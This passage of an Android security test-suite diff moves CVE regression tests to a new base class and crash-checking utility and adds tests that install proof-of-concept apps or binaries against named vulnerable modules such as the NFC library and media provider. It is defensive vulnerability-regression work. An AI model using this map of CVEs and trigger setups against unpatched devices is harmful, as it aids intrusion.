- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", mDevice);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
installPackage("CVE-2021-0315.apk");
runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testOverlayButtonPresence");
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index fa4b66b..4c9908f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0330 extends SecurityTestCase {
+public class CVE_2021_0330 extends NonRootSecurityTestCase {
/**
* b/170732441
@@ -33,8 +36,8 @@
@AsbSecurityTest(cveBugId = 170732441)
public void testPocCVE_2021_0330() throws Exception {
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
- testConfig.config.checkMinAddress(false);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns("storaged");
+ testConfig.config.setIgnoreLowFaultAddress(false);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 585d19b..2190538 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -18,17 +18,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0430 extends SecurityTestCase {
+public class CVE_2021_0430 extends NonRootSecurityTestCase {
/**
* b/178725766
@@ -42,10 +43,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2021-0430";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_mfc_handle_read_op"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
index fb7638c..6a22748 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0439 extends SecurityTestCase {
+public class CVE_2021_0439 extends NonRootSecurityTestCase {
/**
* b/174243830
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
similarity index 61%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
index de245bb..010cce5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
@@ -1,4 +1,4 @@
-/*
+/**
* Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,32 +16,44 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0441 extends NonRootSecurityTestCase {
+ static final String TEST_PKG = "android.security.cts.CVE_2021_0441";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ static final String TEST_APP = "CVE-2021-0441.apk";
- @AsbSecurityTest(cveBugId = 228450811)
+ /**
+ * b/174495520
+ * Vulnerable Module : com.google.android.mediaprovider
+ * Is Play managed : Yes
+ */
+ @AsbSecurityTest(cveBugId = 174495520)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2021_0441() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ assumeFalse(moduleIsPlayManaged("com.google.android.mediaprovider"));
ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0441");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index 1224dc2..77d178a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0473 extends SecurityTestCase {
+public class CVE_2021_0473 extends NonRootSecurityTestCase {
/**
* b/179687208
@@ -34,7 +37,6 @@
AdbUtils.assumeHasNfc(getDevice());
pocPusher.only64();
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0473", getDevice());
- testConfig.checkCrash = false;
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
index a3b1eae..558b092 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
@@ -18,13 +18,16 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0478 extends SecurityTestCase {
+public class CVE_2021_0478 extends NonRootSecurityTestCase {
/**
* b/169255797
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index 4d2acac..c96b27a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,20 +17,25 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0484 extends SecurityTestCase {
+public class CVE_2021_0484 extends NonRootSecurityTestCase {
/**
* b/173720767
* Vulnerability Behavior: EXIT_VULNERABLE (113)
+ * Vulnerable library : libmedia
+ * Is Play managed : No
*/
@Test
@AsbSecurityTest(cveBugId = 173720767)
public void testPocCVE_2021_0484() throws Exception {
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0484", null, getDevice());
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0484", getDevice(), 300);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0487.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0487.java
new file mode 100644
index 0000000..45a1905
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0487.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0487 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0487";
+
+ /**
+ * b/174046397
+ * Vulnerable app : CalendarProvider.apk
+ * Vulnerable module : com.android.providers.calendar
+ * Is Play managed : No
+ */
+ @AsbSecurityTest(cveBugId = 174046397)
+ @Test
+ public void testPocCVE_2021_0487() {
+ ITestDevice device = null;
+ try {
+ device = getDevice();
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ /* Install the application */
+ installPackage("CVE-2021-0487.apk");
+
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", device);
+ runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // return to home screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ } catch (Exception e) {
+ // ignore exceptions here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
index 8f37185..b26e072 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0490 extends SecurityTestCase {
+public class CVE_2021_0490 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 183464868)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index 30af472..7cd6360 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -21,7 +21,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0523 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0523.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 5a7ec8d..f775822 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0586 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index eb74b20..92c6435 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.RequiresDevice;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import java.util.regex.Pattern;
import org.junit.Assert;
import org.junit.Before;
@@ -33,7 +33,7 @@
import static org.junit.Assume.assumeTrue;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0591 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
index 0562b49..fecab0c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0596 extends SecurityTestCase {
+public class CVE_2021_0596 extends NonRootSecurityTestCase {
/**
* b/181346550
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0602.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0602.java
new file mode 100644
index 0000000..c871c89
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0602.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0602 extends NonRootSecurityTestCase {
+
+ // b/177573895
+ // Vulnerable package : com.android.settings
+ // Vulnerable app : settings.apk
+ @AsbSecurityTest(cveBugId = 177573895)
+ @Test
+ public void testPocCVE_2021_0602() {
+ ITestDevice device = null;
+ int guestUserId = -1, initialUserId = -1;
+ try {
+ final String testPkg = "android.security.cts.CVE_2021_0602";
+ device = getDevice();
+ initialUserId = device.getCurrentUser();
+
+ // Install the test app
+ installPackage("CVE-2021-0602.apk");
+
+ guestUserId = device.createUser("Guest", true /* guest */, false /* ephemeral */);
+
+ // Run the test "testCVE_2021_0602"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2021_0602");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (device.getCurrentUser() != initialUserId) {
+ device.switchUser(initialUserId);
+ }
+ device.removeUser(guestUserId);
+ } catch (Exception e) {
+ // ignore exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
index d4bbfb3..d798166 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -16,15 +16,19 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0636 extends SecurityTestCase {
+public class CVE_2021_0636 extends NonRootSecurityTestCase {
public void testPocCVE_2021_0636(String mediaFileName) throws Exception {
/*
@@ -32,13 +36,14 @@
*/
AdbUtils.pushResource(
"/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice());
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runCommandLine(
- "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
- + mediaFileName, getDevice());
- Thread.sleep(4000); // Delay to run the media file and capture output in logcat
- AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
- AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runCommandLine(
+ "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
+ + mediaFileName, getDevice());
+ Thread.sleep(4000); // Delay to run the media file and capture output in logcat
+ AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
+ }
}
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
deleted file mode 100644
index 29fd2b3..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
- static final String TEST_APP = "CVE-2021-0642.apk";
- static final String TEST_PKG = "android.security.cts.cve_2021_0642";
- static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-
- @Before
- public void setUp() throws Exception {
- ITestDevice device = getDevice();
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- uninstallPackage(device, TEST_PKG);
- }
-
- /**
- * b/185126149
- */
- @AppModeFull
- @AsbSecurityTest(cveBugId = 185126149)
- @Test
- public void testPocCVE_2021_0642() throws Exception {
- installPackage(TEST_APP);
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
index e6cd19f..c50f2c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java
@@ -17,14 +17,18 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
-import static org.junit.Assume.*;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0650 extends SecurityTestCase {
+public class CVE_2021_0650 extends NonRootSecurityTestCase {
/**
* b/190286685
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index 26bba4a..15c59ef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0685 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
index 666f791..3bfcae4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0689 extends SecurityTestCase {
+public class CVE_2021_0689 extends NonRootSecurityTestCase {
/**
* b/190188264
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index bf261fd..01a3c07 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -38,7 +38,7 @@
* Test installs sample app and then tries to overwrite *.apk file
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0691 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
private static final String TEST_APP = "CVE-2021-0691.apk";
private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 2b7ad14..98deb18 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0693 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0704.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0704.java
new file mode 100644
index 0000000..be5def5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0704.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
